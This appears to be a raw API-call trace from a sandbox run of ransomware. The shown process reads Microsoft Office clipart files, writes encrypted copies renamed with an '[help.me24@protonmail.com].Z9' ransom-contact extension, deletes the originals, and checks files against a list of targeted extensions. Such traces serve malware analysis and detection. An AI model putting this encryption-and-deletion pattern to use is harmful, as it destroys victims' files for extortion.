	[0190.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0190.635] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.635] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0190.636] GetLastError () returned 0x0
	[0190.636] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x25c7, lpOverlapped=0x0) returned 1
	[0190.636] WriteFile (in: hFile=0x380, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x25d0, lpOverlapped=0x0) returned 1
	[0190.638] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.638] WriteFile (in: hFile=0x380, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.638] SetEndOfFile (hFile=0x380) returned 1
	[0190.638] CloseHandle (hObject=0x380) returned 1
	[0190.638] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.639] SetEndOfFile (hFile=0x37c) returned 1
	[0190.639] CloseHandle (hObject=0x37c) returned 1
	[0190.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1
	[0190.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.640] lstrlenW (lpString=".doc") returned 4
	[0190.640] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.640] lstrlenW (lpString=".docx") returned 5
	[0190.640] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0190.640] lstrlenW (lpString=".pdf") returned 4
	[0190.640] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.640] lstrlenW (lpString=".xls") returned 4
	[0190.640] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.640] lstrlenW (lpString=".xlsx") returned 5
	[0190.641] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0190.641] lstrlenW (lpString=".ppt") returned 4
	[0190.641] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.641] lstrlenW (lpString=".zip") returned 4
	[0190.641] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.641] lstrlenW (lpString=".rar") returned 4
	[0190.641] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.641] lstrlenW (lpString=".bz2") returned 4
	[0190.641] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.641] lstrlenW (lpString=".7z") returned 3
	[0190.641] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.641] lstrlenW (lpString=".dbf") returned 4
	[0190.641] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.641] lstrlenW (lpString=".1cd") returned 4
	[0190.641] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.641] lstrlenW (lpString=".jpg") returned 4
	[0190.641] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.641] lstrlenW (lpString=".doc") returned 4
	[0190.641] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0190.641] lstrlenW (lpString=".docx") returned 5
	[0190.641] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0190.641] lstrlenW (lpString=".pdf") returned 4
	[0190.641] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0190.641] lstrlenW (lpString=".xls") returned 4
	[0190.641] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0190.641] lstrlenW (lpString=".xlsx") returned 5
	[0190.641] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0190.641] lstrlenW (lpString=".ppt") returned 4
	[0190.642] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.642] lstrlenW (lpString=".zip") returned 4
	[0190.642] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0190.642] lstrlenW (lpString=".rar") returned 4
	[0190.642] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0190.642] lstrlenW (lpString=".bz2") returned 4
	[0190.642] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0190.642] lstrlenW (lpString=".7z") returned 3
	[0190.642] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.642] lstrlenW (lpString=".dbf") returned 4
	[0190.642] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.642] lstrlenW (lpString=".1cd") returned 4
	[0190.642] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0190.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68
	[0190.642] lstrlenW (lpString=".jpg") returned 4
	[0190.642] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0190.642] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0190.642] lstrlenW (lpString="J0099158.WMF") returned 12
	[0190.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0190.642] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=26160) returned 1
	[0190.643] CloseHandle (hObject=0x37c) returned 1
	[0190.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220
	[0190.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0190.643] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.643] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0190.644] GetLastError () returned 0x0
	[0190.644] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x6630, lpOverlapped=0x0) returned 1
	[0191.074] WriteFile (in: hFile=0x380, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x6640, lpOverlapped=0x0) returned 1
	[0191.087] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.087] WriteFile (in: hFile=0x380, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.087] SetEndOfFile (hFile=0x380) returned 1
	[0191.088] CloseHandle (hObject=0x380) returned 1
	[0191.088] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.088] SetEndOfFile (hFile=0x37c) returned 1
	[0191.103] CloseHandle (hObject=0x37c) returned 1
	[0191.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1
	[0191.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.104] lstrlenW (lpString=".doc") returned 4
	[0191.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.104] lstrlenW (lpString=".docx") returned 5
	[0191.104] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0191.104] lstrlenW (lpString=".pdf") returned 4
	[0191.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.104] lstrlenW (lpString=".xls") returned 4
	[0191.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.104] lstrlenW (lpString=".xlsx") returned 5
	[0191.104] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0191.104] lstrlenW (lpString=".ppt") returned 4
	[0191.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.104] lstrlenW (lpString=".zip") returned 4
	[0191.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.105] lstrlenW (lpString=".rar") returned 4
	[0191.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.105] lstrlenW (lpString=".bz2") returned 4
	[0191.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.105] lstrlenW (lpString=".7z") returned 3
	[0191.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.105] lstrlenW (lpString=".dbf") returned 4
	[0191.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.105] lstrlenW (lpString=".1cd") returned 4
	[0191.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.105] lstrlenW (lpString=".jpg") returned 4
	[0191.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.106] lstrlenW (lpString=".doc") returned 4
	[0191.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString=".docx") returned 5
	[0191.106] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0191.106] lstrlenW (lpString=".pdf") returned 4
	[0191.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString=".xls") returned 4
	[0191.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.106] lstrlenW (lpString=".xlsx") returned 5
	[0191.106] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0191.106] lstrlenW (lpString=".ppt") returned 4
	[0191.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.106] lstrlenW (lpString=".zip") returned 4
	[0191.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.106] lstrlenW (lpString=".rar") returned 4
	[0191.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString=".bz2") returned 4
	[0191.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString=".7z") returned 3
	[0191.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.106] lstrlenW (lpString=".dbf") returned 4
	[0191.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.106] lstrlenW (lpString=".1cd") returned 4
	[0191.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68
	[0191.106] lstrlenW (lpString=".jpg") returned 4
	[0191.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.107] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0191.107] lstrlenW (lpString="J0099171.WMF") returned 12
	[0191.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.107] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=8754) returned 1
	[0191.107] CloseHandle (hObject=0x37c) returned 1
	[0191.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 0x220
	[0191.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0191.108] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.108] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0191.415] GetLastError () returned 0x0
	[0191.415] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x2232, lpOverlapped=0x0) returned 1
	[0191.416] WriteFile (in: hFile=0x394, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0x2240, lpOverlapped=0x0) returned 1
	[0191.417] ReadFile (in: hFile=0x37c, lpBuffer=0x3a36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesRead=0x2e6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.417] WriteFile (in: hFile=0x394, lpBuffer=0x3a36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a36020*, lpNumberOfBytesWritten=0x2e6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.417] SetEndOfFile (hFile=0x394) returned 1
	[0191.418] CloseHandle (hObject=0x394) returned 1
	[0191.418] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.418] SetEndOfFile (hFile=0x37c) returned 1
	[0191.419] CloseHandle (hObject=0x37c) returned 1
	[0191.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099171.wmf")) returned 1
	[0191.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString=".doc") returned 4
	[0191.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString=".docx") returned 5
	[0191.568] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0191.568] lstrlenW (lpString=".pdf") returned 4
	[0191.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString=".xls") returned 4
	[0191.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.568] lstrlenW (lpString=".xlsx") returned 5
	[0191.568] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0191.568] lstrlenW (lpString=".ppt") returned 4
	[0191.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString=".zip") returned 4
	[0191.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.568] lstrlenW (lpString=".rar") returned 4
	[0191.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString=".bz2") returned 4
	[0191.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString=".7z") returned 3
	[0191.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString=".dbf") returned 4
	[0191.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString=".1cd") returned 4
	[0191.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString=".jpg") returned 4
	[0191.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.568] lstrlenW (lpString=".doc") returned 4
	[0191.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString=".docx") returned 5
	[0191.569] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0191.569] lstrlenW (lpString=".pdf") returned 4
	[0191.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString=".xls") returned 4
	[0191.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.569] lstrlenW (lpString=".xlsx") returned 5
	[0191.569] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0191.569] lstrlenW (lpString=".ppt") returned 4
	[0191.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.569] lstrlenW (lpString=".zip") returned 4
	[0191.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.569] lstrlenW (lpString=".rar") returned 4
	[0191.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString=".bz2") returned 4
	[0191.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString=".7z") returned 3
	[0191.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.569] lstrlenW (lpString=".dbf") returned 4
	[0191.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.569] lstrlenW (lpString=".1cd") returned 4
	[0191.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099171.WMF") returned 68
	[0191.569] lstrlenW (lpString=".jpg") returned 4
	[0191.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.569] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0191.569] lstrlenW (lpString="J0099172.WMF") returned 12
	[0191.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0191.570] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=58258) returned 1
	[0191.570] CloseHandle (hObject=0x344) returned 1
	[0191.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099172.wmf")) returned 0x220
